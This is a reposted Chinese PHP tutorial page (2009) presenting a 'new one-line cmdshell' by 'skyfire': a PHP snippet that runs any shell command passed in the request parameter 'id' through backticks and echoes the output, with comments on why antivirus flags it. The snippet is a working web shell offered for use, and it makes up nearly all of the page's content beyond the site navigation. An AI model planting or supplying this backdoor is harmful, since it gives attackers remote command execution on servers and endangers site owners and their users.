当前位置: 首页 > 图文教程 > 网络编程 > PHP > php一句话cmdshell新型 (非一句话木马)

PHP
PHP通用检测函数集合
PHP 常见郁闷问题答解
用PHP的ob_start();控制您的浏览器cache!
smarty 原来也不过如此~~呵呵
PHP动态变静态原理
smarty静态实验表明,网络上是错的~呵呵
ADODB类使用
ADODB结合SMARTY使用~超级强
mysql建立外键
PHP的中问验证码
WINXP下apache+php4+mysql
mysql5写入和读出乱码解决
phpmyadmin的#1251问题
php缓存技术
PHP生成静态页
配置支持SSI
SSI指令
xajax写的留言本
PHP面向对象的使用教程 简单数据库连接
整合了前面的PHP数据库连接类~~做成一个分页类!

PHP 中的 php一句话cmdshell新型 (非一句话木马)


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-12   浏览: 239 ::
收藏到网摘: n/a

php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令,并返回命令执行的结果(string类型);
复制代码 代码如下:

<?php
/*一个新型的php一句话cmdshell(非一句话木马)
//原理:php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令,并返回命令执行的结果(string类型);
//局限性:特征码比较明显,``符号在php中很少用到,杀毒软件很容易以此为特征码扫描到并警报;``里面不能执行php代码;
//write by skyfire
*/
echo `$_REQUEST[id]`;
?>